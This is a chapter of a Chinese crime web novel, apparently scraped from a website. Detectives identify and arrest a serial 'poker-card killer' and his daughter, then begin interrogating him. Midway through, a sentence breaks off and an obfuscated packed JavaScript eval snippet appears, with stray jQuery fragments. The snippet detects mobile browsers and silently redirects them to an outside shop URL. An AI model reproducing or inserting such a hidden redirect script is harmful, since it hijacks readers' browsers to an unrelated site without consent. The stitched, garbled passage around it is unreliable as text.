“秦婉、杜丽丽、刘刚,到你们了。”市一高|高三五班门口,班主任对着花名册叫人。

    因为有学生,这次密取DNA的办法很容易找,联合对口合作医院,以善心人士捐款,免费给高考生体检为名,对秦婉和薛婷婷所在的班级进行抽血。

    樊朔和虞晴分别负责不同班级,出乎意料的,秦婉和薛婷婷均十分淡定,对于抽血化验没有半丝抵抗。

    血液样本送到乔兰和娄文超手中,化验室外围满了白衬衫,盘踞在开州上空多年的阴影就要消散,每个人脸上都抑制不住激动。

    当年负责案件的老刑警张勋穿着没有肩章的警服,与其他战友们坐在一起。

    他们有些仍坚持在岗位上,继续在一线奋斗,有些已经脱下警服,改行做了其他工作。

    听说找到了扑克牌杀手的女儿,所有人都毫不犹豫地放下手头的工作,哪怕为此会耽误他们赚大钱,仍坚定毫不迟疑地开车来到市局。

    每个人都望向实验室,眼神复杂。

    二十年,他们整整等了二十年,历经三代刑警,从张勋,到秦源,再到樊朔。三代刑警锲而不舍,终于寻求到真相。

    就是立时死了,到地下,他们也有脸面对被这个畜生杀死的八人,以及死在畜生女儿手下的三条人命。

    一个小时后,实验室的门被推开,乔兰摘下口罩,压抑着激动道,“薛婷婷,扑克牌杀手现在的身份是杜东明!”

    秦源扶着墙的手青筋暴起,他稳稳心神,厉声道,“樊朔,抓人!”

    樊朔厉声,“是!重案队全体出动,抓捕杜东明和薛婷婷!”

    “是!”

    呼啦啦,纷杂的脚步声消失在走廊尽头,张勋和退休的队员们仰头看向天花板。

    了结了,从今天起,一切都了结了。

    开州今后的天,是明朗的、再没阴云的大晴天!

    日光清朗,光耀大地!

    听说确定了扑克牌杀手的身份,市局局长周永成、分管刑侦的姚副局长以及其他副局长全部出动,都要参与抓捕。

    秦源:......

    作为刑侦支队长,对于脱离一线多年,又菜又爱玩的领导们的请求,秦源表面非常淡定地答应下来。

    坚决表示没问题,有领导参与,队员们肯定更加全力以赴,甫一转身,秦源就拉下脸,迅速给特警大队打去电话。

    派人,多多派人!

    一定要人海战术,用多多的人力对付凶残的罪犯。

    不讲武德?

    跟连环杀手讲什么武德?!

    极大的人力优势,也是告诉世人,天理昭昭,就算过去二十年三十年,罪恶永远不会被遗忘。

    嗯,另外,总不能让白衬衫们受伤吧,他秦源可担待不起。

    十五分钟后,薛炎家。

    与预想中的顽强抵抗不同,面对来抓他的警察,杜东明或者说薛炎表现得非常淡定。

    警察到时,他正坐在轮椅上,慢悠悠给自家院子里的秋海棠浇水。一身价格不菲的烟棕色纯棉衣裤,皮肤保养的很好,脸上一个褶子都没有。

    按户籍信息,薛炎今年四十五岁,看起来却只有三十四五岁,不过那张脸着实一般,属于放在人堆里都不会注意的类型。

    撞门前,特警们已经将薛家团团围住,手持盾牌的两名特警用力撞开大门,紧跟着四五个手持冲锋枪的特警鱼贯而入,纷纷占据有利地形。

    薛炎是连杀八人的连环杀手,是开州有史以来危险等级最高的罪犯,每个人都神经紧绷,却在见到薛炎后大失所望。

    这么普通的人,真的是让开州人闻风丧胆的扑克牌杀手吗?

    就在特警们怀疑专案组搞错了时,薛炎眼中的精光一闪而过,他淡定地继续浇水,甚至还哼着歌儿,左手滑轮椅右手持洒水壶,不紧不慢地往另一处海棠滑去。

    在樊朔拎着手铐走来时,薛炎缓缓开口,“樊队,知道这棵海棠是什么时候种的吗?”

    樊朔瞄了一眼,冷声道,“在你杀害第三名受害者丁芳后。”

    “聪明。”薛炎放下水壶,旋转轮椅正对樊朔,面带微笑,“自从搬到这里,我就开始种这些花花草草。

    杀一个人,就种一棵新的,本来以为只有六棵,但是你看,我女儿继承了我的衣钵,这里又有了三棵新成员。

    你们来得正好,海棠都开了,美不美?”

    初夏的风拂过海棠树,粉红色的花瓣扑簌簌落下。

    花瓣雨下,薛炎幽幽道,“樊队,我赢了,我等了你们二十年二个月零五十二天,也就是说,我多活了二十年。”

    樊朔咬牙,“别说二十年,对于你这种人,警方就是花再多时间,也不会放弃追踪!”

    薛炎耸耸肩,无所谓道,“樊队,你没明白我的意思。离我第一次杀人已经过了二十年追诉期,也就是说,第一个被害者就算找到了尸体,也没办法治我的罪。”

    樊朔无意给连环杀手普法,他瞪眼道,“这些等到了市局再说,带走!”

    薛炎却依旧自顾自道,“你不好奇我为什么知道你吗?其实我对开州市行侦支队的每一个人都清楚。

    哦,对了,我之前在市局门口摆摊卖过烤红薯,樊队您还买过呢,记得吗?”

    樊朔皱眉,连环杀手大多自负,多数患有各种类型的人格障碍,薛炎正是如此,樊朔不准备跟他耗口舌,大手一挥,吩咐道,“带走!”

    话音刚落,门口就传来女人的惊叫声,“你们干什么,放开我家老杜,你们干什么!”

    正是去给工头送手工回来的薛锦华。

    与丈夫薛炎相比,同样四十五岁的薛锦华脸上沟壑纵横,竟似花甲之年的老妇一般。

    不过与真正的花甲老妇不同,她行动十分迅速,发现丈夫被警察团团围住时,三两步跑到丈夫身边,伸开双手,似母兽护着小兽一般紧紧护着薛炎。

    “你们干什么,我家老杜腿都瘸了,你们抓他做什么,快放了老杜!”

    “薛女士,您丈夫杜东明真名叫做薛炎,跟多宗谋杀案有关,现在我们要带他去市局问话,请您也随我们走一趟。”

    樊朔面无表情,瞥一眼躲在薛锦华身后面露挑衅的薛炎,一股从来没有的厌恶感油然而生。

    薛炎无疑是PUA高手,薛锦华已经完全被洗脑,尽管没有证据表明薛锦华参与了谋杀,但跟两个杀人犯生活多年,薛锦华会不会知道什么?

    如果是,窝藏、包庇罪跑不了。

    好好的90年代大学生,天之骄女,就这样被恶魔毁了!

    杜家门口围了不少人,虞晴和孟阳分别带队,对杜家邻居进行询问。

    在邻居们口中,杜东明一家简直是五好家庭。

    丈夫虽然残废了,但脾气好,时常帮助薛老师做家务、做手工赚钱。

    薛锦华薛老师就更好了,丈夫成了残废也不离不弃,还辞掉工作专门照顾丈夫。

    女儿薛婷婷从小就是三好学生,学习好,动手能力强,嘴巴又甜,将来肯定是上985的料。

    虞晴抽抽嘴角,不得不打断对面滔滔不绝的大妈,“那个,我多问一句哈,杜家就没有不好的地方?”

    大妈咂摸咂摸嘴儿,一拍大腿,“咋没有!我想起来了,他们家啊,喜欢买活鸡、活鸭自己杀来吃,对了,还吃狗肉,也是买的活肉狗自己杀。

    宰杀的时候叫的那个惨啊。有一次我推着小孙子路过,吓得我家金孙哇哇直哭。”

    那就对了,许多研究表明,连环杀手都有超龄尿床、宰杀虐待猫猫狗狗甚至纵火的习惯。

    那些活鸡、活鸭甚至是活的肉狗,多半是薛炎买来训练薛婷婷的。

    虞晴,“薛锦华呢?她有没有动手杀过鸡鸭?”

    “应该没有吧,锦华胆小,买鱼都是买宰杀好的。对人还热情,每次见到我家小孙子都要给两颗糖,特别好一人......”

    旁边另一位大妈不赞成,“不对,锦华可从来没给过我家囡囡糖......”

    城市另一边,在市一高的抓捕由副队长谭海带队,比樊朔这里还顺利,薛婷婷平静得不像一个十八岁的学生。

    当天晚上六点,市局会议室。

    卓恒第一发言,“薛婷婷是突破点,她只有十八岁,社会经验不足,最有可能被攻破。”

    秦源摇头,“刚才小谭说了,抓捕薛婷婷的时候,她嘴角都没动一下,心理素质极强,不像是能轻易攻破的。

    相反,我认为薛锦华是个突破点。

    这么多年和两个杀人犯住在一起,她肯定知道点儿什么,先从她那里问到线索,再有针对性地审问薛炎和薛婷婷,效果更好。”

    樊朔没参与讨论,而是将邻居们对薛炎也就是杜东明一家的评价说了出来。

    在外人眼中,杜家是模范家庭,杜东明也就是薛炎温文尔雅,虽只是校工,却知识渊博,经常给附近邻居家的孩子讲故事,辅导作业,口碑很好。

    相反,曾是英语老师的薛锦华却很少教邻居孩子,有时间就做手工,或者去辅导班代课,因此在邻里的口碑好坏参半,当然以好居多。

    薛

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722669|205862||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    婷婷还在读书,一直是“别人家的孩子”。总之,杜家是集各种好于一身的好好家庭。

    办公室一时陷入安静,每个人都在思考从谁开始审,如何打开突破口。

    很快,樊朔提议,“很多连环杀手被抓后都很有倾诉欲,向警察和世人展示他们的罪行,是他们显示强大与控制力的一种方式,我认为该从薛炎开始审。”

    十秒钟,二十秒,三十秒,猛地,卓恒一拍桌子,“那就从薛炎开始!

    小樊,人是你抓的,列提审大纲,半个小时后审人!”

    说着他看向虞晴和谭海,“去市四高调查杜东明和薛锦华的情况,两人什么时候结婚的,薛锦华有没有可能知道杜东明和薛婷婷是连环杀手,都要搞清楚。

    咱们只有24小时查清这一切,时间紧任务重,一定要快。”

    “明白。”

    半个小时后,薛炎审讯室。

    樊朔坐在主审位置上,沈峰和秦源分坐左右两侧,另有记录员负责记录审讯过程。

    监控室内,卓恒、市局局长周永成、姚副局、其他专案组成员、张勋等退休刑警都来了,室内满得人挤人、人贴人。

    若是平时,周永成早轰人了,此时却没一个人出声,静静看着监视器中的画面。

    画面中,薛炎昂着头,饶有兴致地左看看右看看,像是来公安局参观一样。

    虽然双腿残疾,但薛炎穿戴有假肢,长距离行走不方便,在家附近散步还是可以的,是以他脸上并没有长期坐轮椅,困于方寸之地而特有的浑浊阴郁。

    相反,薛炎脸色红润,眼睛亮且有神,只是被他盯上时,被盯之人顿生一种被蛇盯上的感觉。

    阴冷的蛇吐着芯子,从脚底慢慢往上攀爬,冰凉的触感与人类对蛇的天然恐惧,让被盯之人忍不住起鸡皮疙瘩。

    当然,樊朔、沈峰和秦源身经百战,并不怵薛炎。

    此时三双眼睛死死盯着对面,企图制造压力,压一压薛炎的气焰。

    对于盯着他的刑警们,薛炎歪头看了一会儿,笑道,“樊队,别看了,想问什么尽管问,我说过,我等了你们二十年,我是期待被你们抓到的。

    可惜你们让我失望了,好在樊队你来了,我肯定知无不言。”

    樊朔冷声,“好,第一个问题,你到底是谁?”

    许是没想到樊朔第一个问题是问这个,薛炎呆愣片刻,哈哈笑了起来。

    “我是谁?我也想知道。我没有父亲,母亲生下我就死了。

    我只知道我是西习村的,母亲姓薛,我也就姓了薛。

    炎这个名字还是薛文娟帮我取的。薛文娟是谁你们查到了吧?”

    见樊朔点头,薛炎继续道,“薛文娟是西习村飞出去的金凤凰,曾经是开州第一美人。

    戏团里每天都有人为她争风吃醋,薛文娟却谁也没看上。

    你们猜那个傻子薛金是谁的儿子?”

    不等人回答,薛炎自顾自道,“是当年省城大领导的儿子!

    哈哈,她凭借肚子上位,可惜薛金生下来是个傻子,她被扫地出门,灰溜溜回到了开州。

    薛文娟长得好嗓子亮,就算已是残花败柳,依旧能在戏团唱主角。

    为了工作赚钱,薛文娟将儿子薛金放到西习村,让父母照顾。

    哈哈,天意弄人,你们知道发生了什么吗?”

    打开话匣子,薛炎的话就没停过。

    许是真的想倾诉,他从薛金四岁开始讲起。

    当年薛家老两口住在村尾,离村里最近的人家也有一里地,村里人平常很少去薛家串门。

    老两口身体不好,薛金又是个傻子,没人帮把手,老两口为此没少受罪。

    薛金四岁那年夏天,老两口突发脑梗死亡,傻子薛金什么都不懂,就这么跟两具尸体生活了小半个月。

    还是臭味儿传出去,村民们上门才发现。当时,老两口身上都流黄汤了,蛆虫满地爬。

    也是因为这件事,薛文娟再想把薛金托付给村里人,没人敢接手。

    一个跟尸体生活了半个月的人,怎么想怎么别扭。

    逼不得已,薛文娟只得将薛金带进城。

    当时薛炎六岁,还过着东一顿西一顿的日子,知道薛文娟回城,他在村口拦住薛文娟,自告奋勇照顾薛金。

    “在村里我吃不饱,日后也肯定没钱读书。

    但跟着薛文娟就不一样了,她长得漂亮,这个世界对漂亮女人和漂亮男人格外好。

    薛文娟手缝里露出来的,就够我读书改变命运了。”